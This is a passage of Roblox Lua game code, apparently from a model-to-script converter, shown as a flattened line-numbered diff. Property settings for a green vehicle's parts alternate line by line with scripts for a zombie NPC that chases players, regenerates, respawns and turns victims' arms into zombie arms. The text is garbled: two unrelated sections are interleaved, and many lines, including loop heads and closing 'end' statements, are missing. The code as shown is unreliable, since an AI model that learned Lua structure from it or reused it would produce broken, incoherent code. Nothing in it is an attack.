Part481.Orientation = Vector3.new(0, 0, 180)
6156+
								wait(0.1)
6157-
Part481.Position = Vector3.new(182, 6.00000668, 203.5)
6157+
								h.Parent.Head.Color=zee.Color
6158-
Part481.Rotation = Vector3.new(0, 0, -180)
6158+
							else print("no zee"); return end
6159-
Part481.Color = Color3.new(0.152941, 0.27451, 0.176471)
6159+
						end
6160-
Part481.Velocity = Vector3.new(0.288667262, -0.393538594, -0.493518174)
6160+
						wait(1)
6161-
Part481.Size = Vector3.new(4, 2, 1)
6161+
						cantouch=1
6162-
Part481.BottomSurface = Enum.SurfaceType.Weld
6162+
					end
6163-
Part481.BrickColor = BrickColor.new("Earth green")
6163+
				end
6164-
Part481.LeftSurface = Enum.SurfaceType.Weld
6164+
6165-
Part481.RotVelocity = Vector3.new(0.0398141369, 0.0132681066, -0.000654927688)
6165+
6166-
Part481.TopSurface = Enum.SurfaceType.Smooth
6166+
6167-
Part481.brickColor = BrickColor.new("Earth green")
6167+
6168-
Part481.FormFactor = Enum.FormFactor.Symmetric
6168+
6169-
Part481.formFactor = Enum.FormFactor.Symmetric
6169+
6170-
SpecialMesh482.Parent = Part481
6170+
ObjectValue355.Name = "IsNZ"
6171-
SpecialMesh482.MeshType = Enum.MeshType.Wedge
6171+
ObjectValue355.Parent = Model343
6172-
Part483.Name = "Smooth Block Model"
6172+
IntValue356.Name = "Mode"
6173-
Part483.Parent = Model480
6173+
IntValue356.Parent = Model343
6174-
Part483.CFrame = CFrame.new(182, 7.20000792, 201, 1, 0, 0, 0, 1, 0, 0, 0, 1)
6174+
Script357.Parent = Model343
6175-
Part483.Position = Vector3.new(182, 7.20000792, 201)
6175+
table.insert(cors,sandbox(Script357,function()
6176-
Part483.Color = Color3.new(0.152941, 0.27451, 0.176471)
6176+
local larm = script.Parent:FindFirstChild("Left Arm")
6177-
Part483.Velocity = Vector3.new(0.256282896, -0.294003278, -0.445741177)
6177+
local rarm = script.Parent:FindFirstChild("Right Arm")
6178-
Part483.Size = Vector3.new(4, 0.400000006, 6)
6178+
6179-
Part483.BottomParamA = -0.30000001192093
6179+
function findNearestTorso(pos)
6180-
Part483.BottomParamB = 0.30000001192093
6180+
	local list = game.Workspace:children()
6181-
Part483.BottomSurface = Enum.SurfaceType.Smooth
6181+
	local torso = nil
6182-
Part483.BrickColor = BrickColor.new("Earth green")
6182+
	local dist = 1000
6183-
Part483.RotVelocity = Vector3.new(0.0398141369, 0.0132681066, -0.000654927688)
6183+
	local temp = nil
6184-
Part483.TopSurface = Enum.SurfaceType.Smooth
6184+
	local human = nil
6185-
Part483.brickColor = BrickColor.new("Earth green")
6185+
	local temp2 = nil
6186-
Part483.FormFactor = Enum.FormFactor.Plate
6186+
	for x = 1, #list do
6187-
Part483.formFactor = Enum.FormFactor.Plate
6187+
		temp2 = list[x]
6188-
Part484.Name = "Smooth Block Model"
6188+
		if (temp2.className == "Model") and (temp2 ~= script.Parent) then
6189-
Part484.Parent = Model480
6189+
			temp = temp2:findFirstChild("Right Arm")
6190-
Part484.CFrame = CFrame.new(182, 6.00000668, 198.5, 1, 0, 0, 0, -1, 0, 0, 0, -1)
6190+
			human = temp2:findFirstChild("Humanoid")
6191-
Part484.Orientation = Vector3.new(0, 180, 180)
6191+
			if (temp ~= nil) and (human ~= nil) and (human.Health > 0) then
6192-
Part484.Position = Vector3.new(182, 6.00000668, 198.5)
6192+
				if (temp.Position - pos).magnitude < dist then
6193-
Part484.Rotation = Vector3.new(-180, 0, 0)
6193+
					torso = temp
6194-
Part484.Color = Color3.new(0.152941, 0.27451, 0.176471)
6194+
					dist = (temp.Position - pos).magnitude
6195-
Part484.Velocity = Vector3.new(0.222326711, -0.194467932, -0.493518174)
6195+
				end
6196-
Part484.Size = Vector3.new(4, 2, 1)
6196+
6197-
Part484.BottomSurface = Enum.SurfaceType.Weld
6197+
6198-
Part484.BrickColor = BrickColor.new("Earth green")
6198+
6199-
Part484.RightSurface = Enum.SurfaceType.Weld
6199+
	return torso
6200-
Part484.RotVelocity = Vector3.new(0.0398141369, 0.0132681066, -0.000654927688)
6200+
6201-
Part484.TopSurface = Enum.SurfaceType.Smooth
6201+
6202-
Part484.brickColor = BrickColor.new("Earth green")
6202+
6203-
Part484.FormFactor = Enum.FormFactor.Symmetric
6203+
6204-
Part484.formFactor = Enum.FormFactor.Symmetric
6204+
6205-
SpecialMesh485.Parent = Part484
6205+
6206-
SpecialMesh485.MeshType = Enum.MeshType.Wedge
6206+
	wait(math.random(1,5))
6207-
Seat486.Parent = Model480
6207+
	local target = findNearestTorso(script.Parent.Torso.Position)
6208-
Seat486.CFrame = CFrame.new(182.5, 6.20000696, 197, 1, 0, 0, 0, 1, 0, 0, 0, 1)
6208+
	if target ~= nil then
6209-
Seat486.Position = Vector3.new(182.5, 6.20000696, 197)
6209+
		script.Parent.Humanoid:MoveTo(target.Position, target)
6210-
Seat486.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
6210+
6211-
Seat486.Velocity = Vector3.new(0.202555537, -0.135074183, -0.492189378)
6211+
6212-
Seat486.Size = Vector3.new(3, 0.800000012, 2)
6212+
6213-
Seat486.BrickColor = BrickColor.new("Really black")
6213+
6214-
Seat486.RotVelocity = Vector3.new(0.0398141369, 0.0132681066, -0.000654927688)
6214+
6215-
Seat486.TopSurface = Enum.SurfaceType.Smooth
6215+
Script358.Name = "Health"
6216-
Seat486.brickColor = BrickColor.new("Really black")
6216+
Script358.Parent = Model343
6217-
Seat486.FormFactor = Enum.FormFactor.Plate
6217+
table.insert(cors,sandbox(Script358,function()
6218-
Seat486.formFactor = Enum.FormFactor.Plate
6218+
function waitForChild(parent, childName)
6219-
Part487.Name = "Smooth Block Model"
6219+
	while true do
6220-
Part487.Parent = Model480
6220+
		local child = parent:findFirstChild(childName)
6221-
Part487.CFrame = CFrame.new(182.5, 10.8000002, 197, 0, 0, 1, 0, 1, 0, -1, 0, 0)
6221+
		if child then
6222-
Part487.Orientation = Vector3.new(0, 90, 0)
6222+
6223-
Part487.Position = Vector3.new(182.5, 10.8000002, 197)
6223+
6224-
Part487.Rotation = Vector3.new(0, 90, 0)
6224+
		parent.ChildAdded:wait()
6225-
Part487.Color = Color3.new(0.152941, 0.27451, 0.176471)
6225+
6226-
Part487.Velocity = Vector3.new(0.205568194, -0.135074183, -0.309044629)
6226+
6227-
Part487.Size = Vector3.new(4, 0.400000006, 3)
6227+
6228-
Part487.BottomParamA = -0.30000001192093
6228+
-- declarations
6229-
Part487.BottomParamB = 0.30000001192093
6229+
6230-
Part487.BottomSurface = Enum.SurfaceType.Smooth
6230+
local Figure = script.Parent
6231-
Part487.BrickColor = BrickColor.new("Earth green")
6231+
local Head = waitForChild(Figure, "Head")
6232-
Part487.CanCollide = false
6232+
local Humanoid = waitForChild(Figure, "Humanoid")
6233-
Part487.LeftSurface = Enum.SurfaceType.Weld
6233+
Humanoid.Health=500
6234-
Part487.RotVelocity = Vector3.new(0.0398141369, 0.0132681066, -0.000654927688)
6234+
-- regeneration
6235-
Part487.TopSurface = Enum.SurfaceType.Smooth
6235+
6236-
Part487.brickColor = BrickColor.new("Earth green")
6236+
	local s = wait(4)
6237-
Part487.FormFactor = Enum.FormFactor.Plate
6237+
	local health = Humanoid.Health
6238-
Part487.formFactor = Enum.FormFactor.Plate
6238+
	if health > 0 and health < Humanoid.MaxHealth then
6239-
Part488.Name = "Smooth Block Model"
6239+
		health = health + 0.08 * s * Humanoid.MaxHealth
6240-
Part488.Parent = Model480
6240+
		if health * 1.05 < Humanoid.MaxHealth then
6241-
Part488.CFrame = CFrame.new(180.5, 9.59999943, 198.5, 0, 0, 1, 0, 1, 0, -1, 0, 0)
6241+
			Humanoid.Health = health
6242-
Part488.Orientation = Vector3.new(0, 90, 0)
6242+
		else
6243-
Part488.Position = Vector3.new(180.5, 9.59999943, 198.5)
6243+
			Humanoid.Health = Humanoid.MaxHealth
6244-
Part488.Rotation = Vector3.new(0, 90, 0)
6244+
6245-
Part488.Color = Color3.new(0.152941, 0.27451, 0.176471)
6245+
6246-
Part488.Velocity = Vector3.new(0.224684447, -0.193485528, -0.33028543)
6246+
6247-
Part488.Size = Vector3.new(1, 2.79999995, 1)
6247+
6248-
Part488.BottomSurface = Enum.SurfaceType.Weld
6248+
6249-
Part488.BrickColor = BrickColor.new("Earth green")
6249+
Script359.Name = "Respawn"
6250-
Part488.RotVelocity = Vector3.new(0.0398141369, 0.0132681066, -0.000654927688)
6250+
Script359.Parent = Model343
6251-
Part488.TopSurface = Enum.SurfaceType.Weld
6251+
6252-
Part488.brickColor = BrickColor.new("Earth green")
6252+
name="Humanoid"
6253-
Part488.FormFactor = Enum.FormFactor.Plate
6253+
6254-
Part488.formFactor = Enum.FormFactor.Plate
6254+
robo=script.Parent:clone()
6255-
SpecialMesh489.Parent = Part488
6255+
6256-
SpecialMesh489.MeshType = Enum.MeshType.Wedge
6256+
6257-
Part490.Name = "Smooth Block Model"
6257+
	wait(1)
6258-
Part490.Parent = Model480
6258+
	if script.Parent.Humanoid.Health<1 then
6259-
Part490.CFrame = CFrame.new(183, 9.40000343, 198.5, 0, 0, 1, 0, 1, 0, -1, 0, 0)
6259+
		robot=robo:clone()
6260-
Part490.Orientation = Vector3.new(0, 90, 0)
6260+
		robot.Parent=script.Parent.Parent
6261-
Part490.Position = Vector3.new(183, 9.40000343, 198.5)
6261+
		robot:makeJoints()
6262-
Part490.Rotation = Vector3.new(0, 90, 0)
6262+
		script.Parent:remove()
6263-
Part490.Color = Color3.new(0.152941, 0.27451, 0.176471)
6263+
6264-
Part490.Velocity = Vector3.new(0.224553451, -0.195122853, -0.371418357)
6264+
6265-
Part490.Size = Vector3.new(1, 2.4000001, 4)
6265+
6266-
Part490.BottomSurface = Enum.SurfaceType.Weld
6266+
6267-
Part490.BrickColor = BrickColor.new("Earth green")
6267+
6268-
Part490.RotVelocity = Vector3.new(0.0398141369, 0.0132681066, -0.000654927688)
6268+
6269-
Part490.TopSurface = Enum.SurfaceType.Weld
6269+
6270-
Part490.brickColor = BrickColor.new("Earth green")
6270+
Part360.Name = "Spawn Location"
6271-
Part490.FormFactor = Enum.FormFactor.Plate
6271+
Part360.Parent = Model342
6272-
Part490.formFactor = Enum.FormFactor.Plate
6272+
Part360.CFrame = CFrame.new(182.091461, 0.600017011, 229.48645, -1.00000024, 0, 0, 0, 1, 0, 0, 0, -1.00000024)
6273-
Part491.Name = "Smooth Block Model"
6273+
6274-
Part491.Parent = Model480
6274+
Part360.Position = Vector3.new(182.091461, 0.600017011, 229.48645)
6275-
Part491.CFrame = CFrame.new(181.99707, 4.40637493, 200.999512, 0.999996781, -0.00231241155, -0.000892987882, -0.00245824317, -0.971445084, -0.237251788, -0.000318821403, 0.237253234, -0.971447706)
6275+
6276-
Part491.Orientation = Vector3.new(13.7199993, -179.949997, -179.860001)
6276+
Part360.Color = Color3.new(0.631373, 0.768628, 0.54902)
6277-
Part491.Position = Vector3.new(181.99707, 4.40637493, 200.999512)
6277+
Part360.Size = Vector3.new(6, 1.20000005, 6)
6278-
Part491.Rotation = Vector3.new(166.279999, -0.049999997, 0.129999995)
6278+
Part360.BottomSurface = Enum.SurfaceType.Weld
6279-
Part491.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
6279+
Part360.BrickColor = BrickColor.new("Medium green")
6280-
Part491.Velocity = Vector3.new(-0.119526148, -0.0206653066, -1.44071794)
6280+
6281-
Part491.Size = Vector3.new(4, 4, 4)
6281+
Part360.brickColor = BrickColor.new("Medium green")
6282-
Part491.BottomSurface = Enum.SurfaceType.Smooth
6282+
Decal361.Parent = Part360
6283-
Part491.BrickColor = BrickColor.new("Really black")
6283+
Decal361.Texture = "http://www.roblox.com/asset/?id=34541722"
6284-
Part491.Friction = 0.89999997615814
6284+
Decal361.Face = Enum.NormalId.Top
6285-
Part491.LeftSurface = Enum.SurfaceType.Weld
6285+
Model362.Parent = Model201
6286-
Part491.RightParamA = 0
6286+
Model363.Name = "Zombie"
6287-
Part491.RightParamB = 0
6287+
Model363.Parent = Model362
6288-
Part491.RightSurface = Enum.SurfaceType.Hinge
6288+
Model363.PrimaryPart = Part364
6289-
Part491.RotVelocity = Vector3.new(-0.121643052, -0.302773923, -0.0357246026)
6289+
Part364.Name = "Head"
6290-
Part491.TopSurface = Enum.SurfaceType.Smooth
6290+
Part364.Parent = Model363
6291-
Part491.brickColor = BrickColor.new("Really black")
6291+
Part364.CFrame = CFrame.new(182.608551, 6.09995508, 235.513428, 0, 0, 1.00000072, 0, 1, 0, -1.00000072, 0, 0)
6292-
Part491.FormFactor = Enum.FormFactor.Symmetric
6292+
Part364.Orientation = Vector3.new(0, 90, 0)
6293-
Part491.formFactor = Enum.FormFactor.Symmetric
6293+
Part364.Position = Vector3.new(182.608551, 6.09995508, 235.513428)
6294-
Part491.Shape = Enum.PartType.Cylinder
6294+
Part364.Rotation = Vector3.new(0, 90, 0)
6295-
Part492.Name = "Smooth Block Model"
6295+
Part364.Color = Color3.new(0.631373, 0.768628, 0.54902)
6296-
Part492.Parent = Model480
6296+
Part364.Velocity = Vector3.new(3.64787943e-20, 0.00686328812, 3.64330182e-20)
6297-
Part492.CFrame = CFrame.new(185, 7.80000401, 201, 0, 0, 1, 0, 1, 0, -1, 0, 0)
6297+
Part364.Size = Vector3.new(2, 1, 1)
6298-
Part492.Orientation = Vector3.new(0, 90, 0)
6298+
Part364.BrickColor = BrickColor.new("Medium green")
6299-
Part492.Position = Vector3.new(185, 7.80000401, 201)
6299+
Part364.RotVelocity = Vector3.new(4.07127958e-25, 3.33696291e-22, 6.94702468e-25)
6300-
Part492.Rotation = Vector3.new(0, 90, 0)
6300+
Part364.TopSurface = Enum.SurfaceType.Smooth
6301-
Part492.Color = Color3.new(0.152941, 0.27451, 0.176471)
6301+
Part364.brickColor = BrickColor.new("Medium green")
6302-
Part492.Velocity = Vector3.new(0.256675839, -0.295968056, -0.461657166)
6302+
Part364.FormFactor = Enum.FormFactor.Symmetric
6303-
Part492.Size = Vector3.new(6, 0.800000012, 10)
6303+
Part364.formFactor = Enum.FormFactor.Symmetric
6304-
Part492.BottomSurface = Enum.SurfaceType.Weld
6304+
SpecialMesh365.Parent = Part364
6305-
Part492.BrickColor = BrickColor.new("Earth green")
6305+
SpecialMesh365.Scale = Vector3.new(1.25, 1.25, 1.25)
6306-
Part492.RotVelocity = Vector3.new(0.0398141369, 0.0132681066, -0.000654927688)
6306+
Decal366.Name = "face"
6307-
Part492.TopSurface = Enum.SurfaceType.Smooth
6307+
Decal366.Parent = Part364
6308-
Part492.brickColor = BrickColor.new("Earth green")
6308+
Part367.Name = "Torso"
6309-
Part492.FormFactor = Enum.FormFactor.Plate
6309+
Part367.Parent = Model363
6310-
Part492.formFactor = Enum.FormFactor.Plate
6310+
Part367.CFrame = CFrame.new(182.608551, 4.59995508, 235.513428, 0, 0, 1.00000024, 0, 1, 0, -1.00000024, 0, 0)
6311-
Part493.Name = "Smooth Block Model"
6311+
Part367.Orientation = Vector3.new(0, 90, 0)
6312-
Part493.Parent = Model480
6312+
Part367.Position = Vector3.new(182.608551, 4.59995508, 235.513428)
6313-
Part493.CFrame = CFrame.new(180.5, 7.00000572, 194.5, 0, 0, 1, 0, 1, 0, -1, 0, 0)
6313+
Part367.Rotation = Vector3.new(0, 90, 0)
6314-
Part493.Orientation = Vector3.new(0, 90, 0)
6314+
Part367.Color = Color3.new(0.411765, 0.25098, 0.156863)
6315-
Part493.Position = Vector3.new(180.5, 7.00000572, 194.5)
6315+
Part367.Velocity = Vector3.new(3.64798347e-20, 0.00686328812, 3.64324075e-20)
6316-
Part493.Rotation = Vector3.new(0, 90, 0)
6316+
Part367.Size = Vector3.new(2, 2, 1)
6317-
Part493.Color = Color3.new(0.152941, 0.27451, 0.176471)
6317+
Part367.BrickColor = BrickColor.new("Reddish brown")
6318-
Part493.Velocity = Vector3.new(0.169909209, -0.0342289843, -0.433801889)
6318+
Part367.LeftParamA = 0
6319-
Part493.Size = Vector3.new(1, 2.4000001, 1)
6319+
Part367.LeftParamB = 0
6320-
Part493.BottomSurface = Enum.SurfaceType.Weld
6320+
Part367.LeftSurface = Enum.SurfaceType.Weld
6321-
Part493.BrickColor = BrickColor.new("Earth green")
6321+
Part367.RightParamA = 0
6322-
Part493.CanCollide = false
6322+
Part367.RightParamB = 0
6323-
Part493.RotVelocity = Vector3.new(0.0398141369, 0.0132681066, -0.000654927688)
6323+
Part367.RightSurface = Enum.SurfaceType.Weld
6324-
Part493.TopSurface = Enum.SurfaceType.Weld
6324+
Part367.RotVelocity = Vector3.new(4.07127958e-25, 3.33696291e-22, 6.94702468e-25)
6325-
Part493.brickColor = BrickColor.new("Earth green")
6325+
Part367.brickColor = BrickColor.new("Reddish brown")
6326-
Part493.FormFactor = Enum.FormFactor.Plate
6326+
Part367.FormFactor = Enum.FormFactor.Symmetric
6327-
Part493.formFactor = Enum.FormFactor.Plate
6327+
Part367.formFactor = Enum.FormFactor.Symmetric
6328-
Part494.Name = "Smooth Block Model"
6328+
Part368.Name = "Left Leg"
6329-
Part494.Parent = Model480
6329+
Part368.Parent = Model363
6330-
Part494.CFrame = CFrame.new(180.5, 9.59999943, 194.5, 0, 0, 1, 0, 1, 0, -1, 0, 0)
6330+
Part368.CFrame = CFrame.new(182.608551, 2.59995508, 236.013428, 0, 0, 1.00000072, 0, 1, 0, -1.00000072, 0, 0)
6331-
Part494.Orientation = Vector3.new(0, 90, 0)
6331+
Part368.Orientation = Vector3.new(0, 90, 0)
6332-
Part494.Position = Vector3.new(180.5, 9.59999943, 194.5)
6332+
Part368.Position = Vector3.new(182.608551, 2.59995508, 236.013428)
6333-
Part494.Rotation = Vector3.new(0, 90, 0)
6333+
Part368.Rotation = Vector3.new(0, 90, 0)
6334-
Part494.Color = Color3.new(0.152941, 0.27451, 0.176471)
6334+
Part368.Color = Color3.new(0.411765, 0.25098, 0.156863)
6335-
Part494.Velocity = Vector3.new(0.171612024, -0.0342289843, -0.33028537)
6335+
Part368.Velocity = Vector3.new(3.66480722e-20, 0.00686328812, 3.64315933e-20)
6336-
Part494.Size = Vector3.new(1, 2.79999995, 1)
6336+
Part368.Size = Vector3.new(1, 2, 1)
6337-
Part494.BottomSurface = Enum.SurfaceType.Weld
6337+
Part368.BottomSurface = Enum.SurfaceType.Smooth
6338-
Part494.BrickColor = BrickColor.new("Earth green")
6338+
Part368.BrickColor = BrickColor.new("Reddish brown")
6339-
Part494.CanCollide = false
6339+
Part368.CanCollide = false
6340-
Part494.RotVelocity = Vector3.new(0.0398141369, 0.0132681066, -0.000654927688)
6340+
Part368.RotVelocity = Vector3.new(4.07127958e-25, 3.33696291e-22, 6.94702468e-25)
6341-
Part494.TopSurface = Enum.SurfaceType.Weld
6341+
Part368.brickColor = BrickColor.new("Reddish brown")
6342-
Part494.brickColor = BrickColor.new("Earth green")
6342+
Part368.FormFactor = Enum.FormFactor.Symmetric
6343-
Part494.FormFactor = Enum.FormFactor.Plate
6343+
Part368.formFactor = Enum.FormFactor.Symmetric
6344-
Part494.formFactor = Enum.FormFactor.Plate
6344+
Part369.Name = "Right Leg"
6345-
SpecialMesh495.Parent = Part494
6345+
Part369.Parent = Model363
6346-
SpecialMesh495.MeshType = Enum.MeshType.Wedge
6346+
Part369.CFrame = CFrame.new(182.608551, 2.59995508, 235.013428, 0, 0, 1.00000072, 0, 1, 0, -1.00000072, 0, 0)
6347-
Part496.Name = "Smooth Block Model"
6347+
Part369.Orientation = Vector3.new(0, 90, 0)
6348-
Part496.Parent = Model480
6348+
Part369.Position = Vector3.new(182.608551, 2.59995508, 235.013428)
6349-
Part496.CFrame = CFrame.new(189.001465, 4.4047308, 187.000488, -0.999998331, 0.000319630199, -0.00165893952, -0.00168915745, -0.16914928, 0.985588968, 3.43740903e-05, 0.985590219, 0.169149563)
6349+
Part369.Rotation = Vector3.new(0, 90, 0)
6350-
Part496.Orientation = Vector3.new(-80.2599945, -0.560000002, -179.429993)
6350+
Part369.Color = Color3.new(0.411765, 0.25098, 0.156863)
6351-
Part496.Position = Vector3.new(189.001465, 4.4047308, 187.000488)
6351+
Part369.Velocity = Vector3.new(3.6314376e-20, 0.00686328812, 3.64315933e-20)
6352-
Part496.Rotation = Vector3.new(-80.2599945, -0.099999994, -179.979996)
6352+
Part369.Size = Vector3.new(1, 2, 1)
6353-
Part496.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
6353+
Part369.BottomSurface = Enum.SurfaceType.Smooth
6354-
Part496.Velocity = Vector3.new(0.171176866, -0.0214543119, 2.03022385)
6354+
Part369.BrickColor = BrickColor.new("Reddish brown")
6355-
Part496.Size = Vector3.new(4, 4, 4)
6355+
Part369.CanCollide = false
6356-
Part496.BottomSurface = Enum.SurfaceType.Smooth
6356+
Part369.RotVelocity = Vector3.new(4.07127958e-25, 3.33696291e-22, 6.94702468e-25)
6357-
Part496.BrickColor = BrickColor.new("Really black")
6357+
Part369.brickColor = BrickColor.new("Reddish brown")
6358-
Part496.Friction = 0.89999997615814
6358+
Part369.FormFactor = Enum.FormFactor.Symmetric
6359-
Part496.LeftSurface = Enum.SurfaceType.Weld
6359+
Part369.formFactor = Enum.FormFactor.Symmetric
6360-
Part496.RightParamA = 0
6360+
Humanoid370.Parent = Model363
6361-
Part496.RightParamB = 0
6361+
Humanoid370.LeftLeg = Part368
6362-
Part496.RightSurface = Enum.SurfaceType.Hinge
6362+
Humanoid370.NameOcclusion = Enum.NameOcclusion.NoOcclusion
6363-
Part496.RotVelocity = Vector3.new(0.124701194, -0.286018133, 0.0738932714)
6363+
Humanoid370.RightLeg = Part369
6364-
Part496.TopSurface = Enum.SurfaceType.Smooth
6364+
Humanoid370.Torso = Part367
6365-
Part496.brickColor = BrickColor.new("Really black")
6365+
Part371.Name = "zarm"
6366-
Part496.FormFactor = Enum.FormFactor.Symmetric
6366+
Part371.Parent = Model363
6367-
Part496.formFactor = Enum.FormFactor.Symmetric
6367+
Part371.CFrame = CFrame.new(182.108551, 5.09995508, 237.013428, -1.00000072, 0, 0, 0, 1, 0, 0, 0, -1.00000072)
6368-
Part496.Shape = Enum.PartType.Cylinder
6368+
Part371.Orientation = Vector3.new(0, 180, 0)
6369-
Part497.Name = "Smooth Block Model"
6369+
Part371.Position = Vector3.new(182.108551, 5.09995508, 237.013428)
6370-
Part497.Parent = Model480
6370+
Part371.Rotation = Vector3.new(-180, 0, -180)
6371-
Part497.CFrame = CFrame.new(185.5, 4.80000782, 194, 1, 0, 0, 0, 1, -0, 0, 0, 1)
6371+
Part371.Color = Color3.new(0.631373, 0.768628, 0.54902)
6372-
Part497.Position = Vector3.new(185.5, 4.80000782, 194)
6372+
Part371.Velocity = Vector3.new(3.69800334e-20, 0.00686328812, 3.65994592e-20)
6373-
Part497.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
6373+
Part371.Size = Vector3.new(2, 1, 1)
6374-
Part497.Velocity = Vector3.new(0.161834314, -0.0175965577, -0.587733448)
6374+
Part371.BottomSurface = Enum.SurfaceType.Smooth
6375-
Part497.Size = Vector3.new(3, 1.20000005, 20)
6375+
Part371.BrickColor = BrickColor.new("Medium green")
6376-
Part497.BottomSurface = Enum.SurfaceType.Smooth
6376+
Part371.RotVelocity = Vector3.new(4.07127958e-25, 3.33696291e-22, 6.94702468e-25)
6377-
Part497.BrickColor = BrickColor.new("Really black")
6377+
Part371.TopSurface = Enum.SurfaceType.Smooth
6378-
Part497.RotVelocity = Vector3.new(0.0398141369, 0.0132681066, -0.000654927688)
6378+
Part371.brickColor = BrickColor.new("Medium green")
6379-
Part497.TopSurface = Enum.SurfaceType.Smooth
6379+
Part371.FormFactor = Enum.FormFactor.Symmetric
6380-
Part497.brickColor = BrickColor.new("Really black")
6380+
Part371.formFactor = Enum.FormFactor.Symmetric
6381-
Part497.FormFactor = Enum.FormFactor.Plate
6381+
Script372.Parent = Part371
6382-
Part497.formFactor = Enum.FormFactor.Plate
6382+
table.insert(cors,sandbox(Script372,function()
6383-
Part498.Name = "Smooth Block Model"
6383+
wait(1)
6384-
Part498.Parent = Model480
6384+
owner=script.Parent.Parent.Name
6385-
Part498.CFrame = CFrame.new(185.5, 6.40000582, 201, 0, 0, 1, 0, 1, 0, -1, 0, 0)
6385+
6386-
Part498.Orientation = Vector3.new(0, 90, 0)
6386+
function onTouched(part)
6387-
Part498.Position = Vector3.new(185.5, 6.40000582, 201)
6387+
	if part.Parent ~= nil then
6388-
Part498.Rotation = Vector3.new(0, 90, 0)
6388+
		local h = part.Parent:findFirstChild("Humanoid")
6389-
Part498.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
6389+
			if h~=nil then
6390-
Part498.Velocity = Vector3.new(0.255758941, -0.296295524, -0.524030924)
6390+
				if cantouch~=0 then
6391-
Part498.Size = Vector3.new(6, 2, 3)
6391+
					if h.Parent.Name~=owner then
6392-
Part498.BottomSurface = Enum.SurfaceType.Weld
6392+
						
6393-
Part498.BrickColor = BrickColor.new("Really black")
6393+
						if h.Parent:findFirstChild("zarm")~=nil then return end
6394-
Part498.RotVelocity = Vector3.new(0.0398141369, 0.0132681066, -0.000654927688)
6394+
6395-
Part498.TopSurface = Enum.SurfaceType.Smooth
6395+
						cantouch=0
6396-
Part498.brickColor = BrickColor.new("Really black")
6396+
6397-
Part498.FormFactor = Enum.FormFactor.Plate
6397+
						local larm=h.Parent:findFirstChild("Left Arm")
6398-
Part498.formFactor = Enum.FormFactor.Plate
6398+
						local rarm=h.Parent:findFirstChild("Right Arm")
6399-
Part499.Name = "Smooth Block Model"
6399+
						
6400-
Part499.Parent = Model480
6400+
						if larm~=nil then
6401-
Part499.CFrame = CFrame.new(182, 5.00000572, 194, 1, 0, 0, 0, 1, 0, 0, 0, 1)
6401+
							larm:remove()
6402-
Part499.Position = Vector3.new(182, 5.00000572, 194)
6402+
						end
6403-
Part499.Color = Color3.new(0.152941, 0.27451, 0.176471)
6403+
						if rarm~=nil then
6404-
Part499.Velocity = Vector3.new(0.161965296, -0.0153043102, -0.533332348)
6404+
							rarm:remove()
6405-
Part499.Size = Vector3.new(4, 0.800000012, 8)
6405+
						end
6406-
Part499.BackSurface = Enum.SurfaceType.Weld
6406+
						local zee=script.Parent.Parent:findFirstChild("zarm")
6407-
Part499.BottomParamA = -0.30000001192093
6407+
						if zee~=nil then
6408-
Part499.BottomParamB = 0.30000001192093
6408+
							local zlarm=zee:clone()
6409-
Part499.BottomSurface = Enum.SurfaceType.Smooth
6409+
							local zrarm=zee:clone()
6410-
Part499.BrickColor = BrickColor.new("Earth green")
6410+
							if zlarm~=nil then
6411-
Part499.FrontSurface = Enum.SurfaceType.Weld
6411+
6412-
Part499.RightSurface = Enum.SurfaceType.Weld
6412+
							local rot=CFrame.new(0, 0, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0)
6413-
Part499.RotVelocity = Vector3.new(0.0398141369, 0.0132681066, -0.000654927688)
6413+
								zlarm.CFrame=h.Parent.Torso.CFrame * CFrame.new(Vector3.new(-1.5,0.5,-0.5)) * rot
6414-
Part499.TopSurface = Enum.SurfaceType.Smooth
6414+
								zrarm.CFrame=h.Parent.Torso.CFrame * CFrame.new(Vector3.new(1.5,0.5,-0.5)) * rot
6415-
Part499.brickColor = BrickColor.new("Earth green")
6415+
								zlarm.Parent=h.Parent
6416-
Part499.FormFactor = Enum.FormFactor.Plate
6416+
								zrarm.Parent=h.Parent
6417-
Part499.formFactor = Enum.FormFactor.Plate
6417+
								zlarm:makeJoints()
6418-
Part500.Name = "Smooth Block Model"
6418+
								zrarm:makeJoints()
6419-
Part500.Parent = Model480
6419+
								zlarm.Anchored=false
6420-
Part500.CFrame = CFrame.new(185.5, 5.60000467, 194.5, 1, 0, 0, 0, 1, 0, 0, 0, 1)
6420+
								zrarm.Anchored=false
6421-
Part500.Position = Vector3.new(185.5, 5.60000467, 194.5)
6421+
								wait(0.1)
6422-
Part500.Color = Color3.new(0.152941, 0.27451, 0.176471)
6422+
								h.Parent.Head.Color=zee.Color
6423-
Part500.Velocity = Vector3.new(0.168992311, -0.0375036225, -0.555882275)
6423+
							else print("no zee"); return end
6424-
Part500.Size = Vector3.new(11, 0.400000006, 7)
6424+
						end
6425-
Part500.BackSurface = Enum.SurfaceType.Weld
6425+
						wait(1)
6426-
Part500.BottomParamA = -0.30000001192093
6426+
						cantouch=1
6427-
Part500.BottomParamB = 0.30000001192093
6427+
					end
6428-
Part500.BottomSurface = Enum.SurfaceType.Smooth
6428+
				end
6429-
Part500.BrickColor = BrickColor.new("Earth green")
6429+
6430-
Part500.FrontSurface = Enum.SurfaceType.Weld
6430+
6431-
Part500.RotVelocity = Vector3.new(0.0398141369, 0.0132681066, -0.000654927688)
6431+
6432-
Part500.TopSurface = Enum.SurfaceType.Weld
6432+
6433-
Part500.brickColor = BrickColor.new("Earth green")
6433+
6434-
Part500.FormFactor = Enum.FormFactor.Plate
6434+
6435-
Part500.formFactor = Enum.FormFactor.Plate
6435+
Part373.Name = "zarm"
6436-
Part501.Name = "Smooth Block Model"
6436+
Part373.Parent = Model363
6437-
Part501.Parent = Model480
6437+
Part373.CFrame = CFrame.new(182.108551, 5.09995508, 234.013428, -1.00000072, 0, 0, 0, 1, 0, 0, 0, -1.00000072)
6438-
Part501.CFrame = CFrame.new(187, 10.8000002, 197, 0, 0, 1, 0, 1, 0, -1, 0, 0)
6438+
Part373.Orientation = Vector3.new(0, 180, 0)
6439-
Part501.Orientation = Vector3.new(0, 90, 0)
6439+
Part373.Position = Vector3.new(182.108551, 5.09995508, 234.013428)
6440-
Part501.Position = Vector3.new(187, 10.8000002, 197)
6440+
Part373.Rotation = Vector3.new(-180, 0, -180)
6441-
